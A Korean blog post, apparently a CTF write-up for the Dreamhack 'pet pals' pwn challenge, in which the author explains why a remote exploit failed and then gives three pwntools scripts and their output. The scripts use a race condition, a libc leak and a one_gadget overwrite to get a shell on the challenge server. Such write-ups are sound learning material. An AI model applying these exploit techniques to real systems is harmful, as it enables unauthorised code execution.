일단 이전에 쓴 글이 있으니 링크 남겨두겠다.
https://code-learn-ing.tistory.com/37
[Dreamhack][시스템해킹] pet pals
[문제 링크](https://dreamhack.io/wargame/challenges/1080) 문제는 dockerfile과 binary파일이 존재한다. 1. 분석gdb로 보면, main함수를 알수가 없다. 따라서, __libc_start_main에 breakpoint를 걸고, 실제 메모리를 얻어 디
code-learn-ing.tistory.com
이때, 로컬 파일 및 도커에서는 실행이 된 상태였고, 드림핵 익스만 실패한 상태였다.
글 쓰고 왜 안될까 하고 보다가 설마 하고 본 부분이 해결점이었다.
1. 원인 분석
일단 안되는 부분을 설명해보겠다.
안되던 부분은, race condition으로 overwrite를 한 상태에서 3을 눌렀을때 "hamster name: "까지만 뜨고 그 이후 값을 입력하지 못하고 접속이 종료되는 문제였다.
이를 생각해보니, read함수에서 터지는 것 같았다. read함수를 보면
read(0, a+8, *(long*)(a+0x18)-1)
이다.
전에 다른 문제에서 본적이 있는데, read(fd, buf, count)에서 count가 음수일때 비슷한 문제가 생겼었다.
이말인 즉, count부분이 문제인 것이다.
기존 코드에서는 이 부분이 overwrite이후 0x7e7e7e7e7e7e7e00으로 되어있었다.
이 부분을 0x100으로 변경해보고 실행을 시켜보았다. 코드는 다음과 같다.
2. 풀이
from pwn import *
import time
p = remote("host3.dreamhack.games", 15081)
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"type: ", b"dog")
p.sendafter(b"name: ", b"\x66"*0x10 + p64(0x100))
p.sendlineafter(b"> ", b"2")
start_time = time.time()
p.sendlineafter(b"sent", b"1")
sleep_time = 4 + 0.08 - (time.time() - start_time)
print(f'sleep for {sleep_time}')
time.sleep(sleep_time)
p.send(b"hamster\n" + b'\x7e'*9)
print(time.time() - start_time)
time.sleep(2)
p.sendlineafter(b"> ", b"3")
time.sleep(1)
p.sendafter(b"name: ", b"a"*0x40)
print(2)
p.sendlineafter(b"> ", b"2")
p.recvuntil(b"sent ")
p.recv(0x40)
libc_call_main = u64(p.recv(6) + b'\x00'*2)
libc_base = (libc_call_main - 0x0000000000029d90)
one_gadget_Real = libc_base + 0xebd43
time.sleep(5)
p.send(b"hamster\n" + b'\x7e'*9)
print(3)
p.sendline(b"3")
p.sendafter(b"name: ", b"a"*(0x40-8) + p64(libc_base) + p64(one_gadget_Real))
# p.sendlineafter(b"> ", b"4")
p.interactive()
변경이후에는 두번째 3이 실행되지 않았다. 생각을 해보니 b'a'*0x40으로 0x6161616161616161이 count에 들어갈 것이다.
이때문에 앞에 있던 count를 0x100으로 하는 코드를 복사해왔다.
from pwn import *
import time
p = remote("host3.dreamhack.games", 15081)
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"type: ", b"dog")
p.sendafter(b"name: ", b"\x66"*0x10 + p64(0x100))
p.sendlineafter(b"> ", b"2")
start_time = time.time()
p.sendlineafter(b"sent", b"1")
sleep_time = 4 + 0.08 - (time.time() - start_time)
print(f'sleep for {sleep_time}')
time.sleep(sleep_time)
p.send(b"hamster\n" + b'\x7e'*9)
print(time.time() - start_time)
time.sleep(2)
p.sendlineafter(b"> ", b"3")
time.sleep(1)
p.sendafter(b"name: ", b"a"*0x40)
print(2)
p.sendlineafter(b"> ", b"2")
p.recvuntil(b"sent ")
p.recv(0x40)
libc_call_main = u64(p.recv(6) + b'\x00'*2)
libc_base = (libc_call_main - 0x0000000000029d90)
one_gadget_Real = libc_base + 0xebd43
time.sleep(5)
p.sendline(b"1")
p.sendlineafter(b"type: ", b"dog")
p.sendafter(b"name: ", b"\x66"*0x10 + p64(0x100))
p.sendlineafter(b"> ", b"2")
start_time = time.time()
p.sendlineafter(b"sent", b"1")
sleep_time = 4 + 0.08 - (time.time() - start_time)
print(f'sleep for {sleep_time}')
time.sleep(sleep_time)
p.send(b"hamster\n" + b'\x7e'*9)
print(3)
p.sendline(b"3")
p.sendafter(b"name: ", b"a"*(0x40-8) + p64(libc_base) + p64(one_gadget_Real))
# p.sendlineafter(b"> ", b"4")
p.interactive()
이렇게 하니,
$ python exploit.py
[+] Opening connection to host3.dreamhack.games on port 15081: Done
sleep for 3.901089744567871
4.080292463302612
2
sleep for 3.9019473361968995
3
[*] Switching to interactive mode
ffffffffffffffff is returned from the walk and is satisfied! 🐹
hamster name:
1. create/update an animal
2. walk with the animal
3. rename the animal
4. quit
> $ 4
> $ ls
flag
petpals
$ pwd
/home/petpals
$ whoami
petpals
$ cat flag
DH{----------------------------------------------------------------}
잘 실행되었다.
허나 이 코드는 불필요한 작업을 또 한다. 처음부터 그냥 해당 부분은 0x100으로 초기화해두면 된다.
그래서 다음 코드를 시도해봤다.
from pwn import *
import time
p = remote("host3.dreamhack.games", 9707)
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"type: ", b"dog")
p.sendafter(b"name: ", b"\x66"*0x10 + p64(0x100))
p.sendlineafter(b"> ", b"2")
start_time = time.time()
p.sendlineafter(b"sent", b"1")
sleep_time = 4 + 0.08 - (time.time() - start_time)
print(f'sleep for {sleep_time}')
time.sleep(sleep_time)
p.send(b"hamster\n" + b'\x7e'*9)
print(time.time() - start_time)
time.sleep(2)
p.sendlineafter(b"> ", b"3")
time.sleep(1)
p.sendafter(b"name: ", b"a"*0x10 + p64(0x100) + b'a' * (0x40 -0x18))
print(2)
p.sendlineafter(b"> ", b"2")
p.interactive()
근데 이부분에서 문제가 생겼다. printf %s 에서 a*0x40까지 출력하고 이후 null byte를 만날때까지 출력하게 하여 libc_base를 얻을 겸, count 부분도 0x100까지 하는 전략이었지만, %s에서 p64(0x100)의 \x00이후로 출력하지 않으니 이 방법은 사용할 수 없는 방법이다.
이때문에 기존 코드가 내 최선의 코드이다.
3. 의문
read함수 count에서 로컬과 도커에서는 잘 실행되었었다. 허나 dreamhack 서버에서는 잘 실행되지 않았다. 너무 큰수가 read하는데 문제가 될수 있다는 것은 이해할 수 있다. 다만, 문제가 될거였으면 도커와 로컬에서도 문제가 생겼어야하는데 드림핵에서만 문제가 된 것이 의문이다.
AI에게 물어봤을때는 프로세스에서 사용할 수 있는 범위를 넘어가서 그런거라고는 하는데 인공지능도 확신이 아닌 가설의 형식으로 말했기 때문에 정확한 답이 있으면 좋을 것 같으나 현재로써는 알 방법이 없다.
4. 의의
문제를 푸는데 약 3주정도 걸렸다. 실제 풀이에 쓴 기간만 쓰면 2주정도일 것이다. 현재 군환경이기에 많은 제약이 있어 github codespace를 사용하는데 사용량을 다 써 몇일간 문제 푸는지 사용하지 못했고, 사이에 휴가도 다녀왔다.
휴가 다녀와서 처음부터 차근 차근 생각해보니 풀린것 같다.
race condition 문제를 처음 봤고, 사실 파일에서 도커 파일을 제공하는데 드림핵 서버에서도 같은 오프셋을 적용해도 되는지 몰라 다른 방법을 찾는데 쓴 시간도 있다.
지금껏 푼 드림핵 골드 4 문제를 보면, format string bug, tcache poisoning, tcache_dup2은 드림핵 시스템해킹 과정을 보며 푼 문제이고, dreamvm은 ai의 도움을 받았다. 내 힘으로 처음부터 푼 것은 string과 이번에 푼 pet pals이다. string은 누가봐도 fsb문제였고 fsb를 어떻게 일으키는지를 기억하는지에 오래 시간을 썼다면, 이번엔 서버환경과 로컬환경에서의 차이를 극복하는게 오래걸렸다. 그 차이를 극복하기 위해 원인 분석을 하고 방향을 좁혀간 과정에서 좀더 성장한 것 같다. 그래도 오랜 기간 풀고 나니 dreamvm을 풀며 내가 많이 부족하다고 느낀 것에 대하는 나름의 자신감이 생겼다.
하지만, 휴가 끝나고 코드를 보려 하니, 익스 코드를 다시 보며 이해해야 했기에 주석의 중요성을 한번 더 느낀 것 같다. 앞으로 익스플로잇 코드를 작성할때는 각 과정이 무엇을 위한 것인지 최대한 남겨두도록 해야할 것 같다.
모르는게 정말 많다고 느끼고 있고, 전에 공부했다고 생각했던 힙쪽도 기억이 제대로 나지 않는 것을 보니, 그때 제대로 공부를 안했던 모양이다.
다음 문제는 힙 관련 문제로 풀어봐야 겠다.
'보안 > 시스템해킹' 카테고리의 다른 글
| [Dreamhack][시스템해킹] note (0) | 2026.09.05 |
|---|---|
| [Dreamhack][시스템해킹] kidheap (0) | 2026.08.20 |
| [Dreamhack][시스템해킹] pet pals (0) | 2026.08.14 |
| [Dreamhack][시스템 해킹] dreamvm (0) | 2026.07.18 |
| [시스템 해킹][Dreamhack] string (0) | 2026.07.11 |